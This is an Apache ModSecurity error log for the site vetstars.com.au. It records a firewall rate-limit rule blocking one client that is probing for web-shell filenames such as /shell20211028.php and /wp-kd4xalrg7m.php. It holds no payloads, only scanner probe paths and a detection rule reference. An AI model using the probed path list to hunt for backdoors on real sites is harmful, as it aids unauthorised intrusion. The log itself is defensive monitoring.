[Tue May 05 10:58:23.754798 2026] [:error] [pid 25745:tid 25817] [client 4.204.197.96:53634] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-firewall.php"] [unique_id "aflcz5sd7hb7vrvCNBnBRwAAANA"]
[Tue May 05 10:58:24.193039 2026] [:error] [pid 25745:tid 25824] [client 4.204.197.96:53699] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-firewall.php"] [unique_id "aflc0Jsd7hb7vrvCNBnBSAAAANc"]
[Tue May 05 10:58:24.660304 2026] [:error] [pid 25744:tid 25786] [client 4.204.197.96:53746] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-firewall.php"] [unique_id "aflc0CR8IuyzjkW06ONwmAAAAIw"]
[Tue May 05 10:58:25.076434 2026] [:error] [pid 25835:tid 25860] [client 4.204.197.96:53737] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-firewall.php"] [unique_id "aflc0VDT5nGJyh1439w3sgAAARc"]
[Tue May 05 10:58:25.527903 2026] [:error] [pid 25835:tid 25855] [client 4.204.197.96:53741] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aflc0VDT5nGJyh1439w3tgAAARI"]
[Tue May 05 10:58:25.957641 2026] [:error] [pid 25835:tid 25859] [client 4.204.197.96:53740] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aflc0VDT5nGJyh1439w3uAAAARY"]
[Tue May 05 10:58:26.459527 2026] [:error] [pid 25744:tid 25779] [client 4.204.197.96:53651] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aflc0iR8IuyzjkW06ONwmwAAAIU"]
[Tue May 05 10:58:26.878590 2026] [:error] [pid 25745:tid 25822] [client 4.204.197.96:53642] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aflc0psd7hb7vrvCNBnBTAAAANU"]
[Tue May 05 10:58:27.290975 2026] [:error] [pid 25743:tid 25753] [client 4.204.197.96:53647] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aflc02-PCMRhF5DdUnNrcQAAAAY"]
[Tue May 05 10:58:27.743967 2026] [:error] [pid 25743:tid 25759] [client 4.204.197.96:53643] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aflc02-PCMRhF5DdUnNrcgAAAAw"]
[Tue May 05 10:58:28.176849 2026] [:error] [pid 25835:tid 25838] [client 4.204.197.96:53731] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aflc1FDT5nGJyh1439w3wAAAAQE"]
[Tue May 05 10:58:28.593250 2026] [:error] [pid 25835:tid 25845] [client 4.204.197.96:53697] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aflc1FDT5nGJyh1439w3wQAAAQg"]
[Tue May 05 10:58:29.021837 2026] [:error] [pid 25743:tid 25751] [client 4.204.197.96:53650] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wuasr.php"] [unique_id "aflc1W-PCMRhF5DdUnNrdQAAAAQ"]
[Tue May 05 10:58:29.438878 2026] [:error] [pid 25835:tid 25859] [client 4.204.197.96:53712] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wuasr.php"] [unique_id "aflc1VDT5nGJyh1439w3xAAAARY"]
[Tue May 05 10:58:29.863570 2026] [:error] [pid 25743:tid 25750] [client 4.204.197.96:53756] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wuasr.php"] [unique_id "aflc1W-PCMRhF5DdUnNrdgAAAAM"]
[Tue May 05 10:58:30.293760 2026] [:error] [pid 25743:tid 25758] [client 4.204.197.96:53745] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wuasr.php"] [unique_id "aflc1m-PCMRhF5DdUnNreAAAAAs"]
[Tue May 05 10:58:30.705861 2026] [:error] [pid 25743:tid 25769] [client 4.204.197.96:53644] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1index.php"] [unique_id "aflc1m-PCMRhF5DdUnNrewAAABY"]
[Tue May 05 10:58:31.126073 2026] [:error] [pid 25745:tid 25818] [client 4.204.197.96:53704] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1index.php"] [unique_id "aflc15sd7hb7vrvCNBnBTgAAANE"]
[Tue May 05 10:58:31.584191 2026] [:error] [pid 25745:tid 25806] [client 4.204.197.96:53649] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1index.php"] [unique_id "aflc15sd7hb7vrvCNBnBUAAAAMU"]
[Tue May 05 10:58:32.063041 2026] [:error] [pid 25835:tid 25849] [client 4.204.197.96:53645] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1index.php"] [unique_id "aflc2FDT5nGJyh1439w3yQAAAQw"]
[Tue May 05 10:58:32.504537 2026] [:error] [pid 25835:tid 25857] [client 4.204.197.96:53676] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aflc2FDT5nGJyh1439w3ygAAARQ"]
[Tue May 05 10:58:32.937420 2026] [:error] [pid 25835:tid 25841] [client 4.204.197.96:53719] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aflc2FDT5nGJyh1439w3zQAAAQQ"]
[Tue May 05 10:58:33.364973 2026] [:error] [pid 25745:tid 25816] [client 4.204.197.96:53648] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aflc2Zsd7hb7vrvCNBnBUwAAAM8"]
[Tue May 05 10:58:33.822502 2026] [:error] [pid 25835:tid 25848] [client 4.204.197.96:53632] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aflc2VDT5nGJyh1439w30AAAAQs"]
[Tue May 05 10:58:34.246195 2026] [:error] [pid 25835:tid 25838] [client 4.204.197.96:53723] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aflc2lDT5nGJyh1439w31AAAAQE"]
[Tue May 05 10:58:34.670034 2026] [:error] [pid 25835:tid 25845] [client 4.204.197.96:53747] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aflc2lDT5nGJyh1439w31gAAAQg"]
[Tue May 05 10:58:35.117019 2026] [:error] [pid 25835:tid 25860] [client 4.204.197.96:53703] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aflc21DT5nGJyh1439w32AAAARc"]
[Tue May 05 10:58:35.573351 2026] [:error] [pid 25835:tid 25844] [client 4.204.197.96:53670] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aflc21DT5nGJyh1439w32wAAAQc"]
[Tue May 05 10:58:36.026315 2026] [:error] [pid 25835:tid 25847] [client 4.204.197.96:53640] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aflc3FDT5nGJyh1439w34AAAAQo"]
[Tue May 05 10:58:36.612945 2026] [:error] [pid 25835:tid 25846] [client 4.204.197.96:53744] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aflc3FDT5nGJyh1439w34QAAAQk"]
[Tue May 05 10:58:37.287945 2026] [:error] [pid 25745:tid 25824] [client 4.204.197.96:53639] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aflc3Zsd7hb7vrvCNBnBVgAAANc"]
[Tue May 05 10:58:37.831758 2026] [:error] [pid 25835:tid 25844] [client 4.204.197.96:53681] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aflc3VDT5nGJyh1439w35QAAAQc"]
[Tue May 05 10:58:38.289982 2026] [:error] [pid 25744:tid 25798] [client 4.204.197.96:53674] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aflc3iR8IuyzjkW06ONwoAAAAJg"]
[Tue May 05 10:58:38.828143 2026] [:error] [pid 25743:tid 25747] [client 4.204.197.96:53742] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aflc3m-PCMRhF5DdUnNrfgAAAAA"]
[Tue May 05 10:58:39.337485 2026] [:error] [pid 25745:tid 25814] [client 4.204.197.96:53673] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aflc35sd7hb7vrvCNBnBWgAAAM0"]
[Tue May 05 10:58:39.842045 2026] [:error] [pid 25745:tid 25822] [client 4.204.197.96:53579] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aflc35sd7hb7vrvCNBnBXAAAANU"]
[Tue May 05 10:58:40.299713 2026] [:error] [pid 25743:tid 25769] [client 4.204.197.96:53576] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aflc4G-PCMRhF5DdUnNrgQAAABY"]
[Tue May 05 10:58:40.796639 2026] [:error] [pid 25743:tid 25754] [client 4.204.197.96:53711] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aflc4G-PCMRhF5DdUnNrggAAAAc"]
[Tue May 05 10:58:41.252439 2026] [:error] [pid 25745:tid 25813] [client 4.204.197.96:53636] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aflc4Zsd7hb7vrvCNBnBXwAAAMw"]
[Tue May 05 10:58:41.713153 2026] [:error] [pid 25743:tid 25760] [client 4.204.197.96:53728] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aflc4W-PCMRhF5DdUnNrhQAAAA0"]
[Tue May 05 10:58:42.174305 2026] [:error] [pid 25743:tid 25764] [client 4.204.197.96:53701] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aflc4m-PCMRhF5DdUnNrhgAAABE"]
[Tue May 05 10:58:42.631708 2026] [:error] [pid 25745:tid 25824] [client 4.204.197.96:53641] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aflc4psd7hb7vrvCNBnBYwAAANc"]
[Tue May 05 10:58:43.070129 2026] [:error] [pid 25745:tid 25809] [client 4.204.197.96:53646] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aflc45sd7hb7vrvCNBnBZAAAAMg"]
[Tue May 05 10:58:43.485986 2026] [:error] [pid 25745:tid 25819] [client 4.204.197.96:53735] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aflc45sd7hb7vrvCNBnBZQAAANI"]
[Tue May 05 10:58:43.995513 2026] [:error] [pid 25745:tid 25814] [client 4.204.197.96:53707] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aflc45sd7hb7vrvCNBnBZwAAAM0"]
[Tue May 05 10:58:44.435875 2026] [:error] [pid 25743:tid 25766] [client 4.204.197.96:53729] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aflc5G-PCMRhF5DdUnNrjQAAABM"]
[Tue May 05 10:58:44.872765 2026] [:error] [pid 25745:tid 25806] [client 4.204.197.96:53714] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aflc5Jsd7hb7vrvCNBnBaQAAAMU"]
[Tue May 05 10:58:45.348966 2026] [:error] [pid 25743:tid 25759] [client 4.204.197.96:53743] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aflc5W-PCMRhF5DdUnNrjgAAAAw"]
[Tue May 05 10:58:45.824683 2026] [:error] [pid 25745:tid 25821] [client 4.204.197.96:53736] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aflc5Zsd7hb7vrvCNBnBawAAANQ"]
[Tue May 05 10:58:46.261791 2026] [:error] [pid 25835:tid 25846] [client 4.204.197.96:53690] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aflc5lDT5nGJyh1439w36wAAAQk"]
[Tue May 05 10:58:46.782314 2026] [:error] [pid 25745:tid 25816] [client 4.204.197.96:53514] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aflc5psd7hb7vrvCNBnBbQAAAM8"]
[Tue May 05 10:58:47.320216 2026] [:error] [pid 25835:tid 25859] [client 4.204.197.96:53652] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aflc51DT5nGJyh1439w37wAAARY"]
[Tue May 05 10:58:47.786324 2026] [:error] [pid 25743:tid 25749] [client 4.204.197.96:53591] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "aflc52-PCMRhF5DdUnNrkwAAAAI"]
[Tue May 05 10:58:48.257549 2026] [:error] [pid 25835:tid 25861] [client 4.204.197.96:53575] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "aflc6FDT5nGJyh1439w38QAAARg"]
[Tue May 05 10:58:48.781375 2026] [:error] [pid 25745:tid 25810] [client 4.204.197.96:53605] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "aflc6Jsd7hb7vrvCNBnBbgAAAMk"]
[Tue May 05 10:58:49.207858 2026] [:error] [pid 25745:tid 25801] [client 4.204.197.96:53698] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "aflc6Zsd7hb7vrvCNBnBbwAAAMA"]
[Tue May 05 10:58:49.701128 2026] [:error] [pid 25745:tid 25825] [client 4.204.197.96:53753] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aflc6Zsd7hb7vrvCNBnBcgAAANg"]
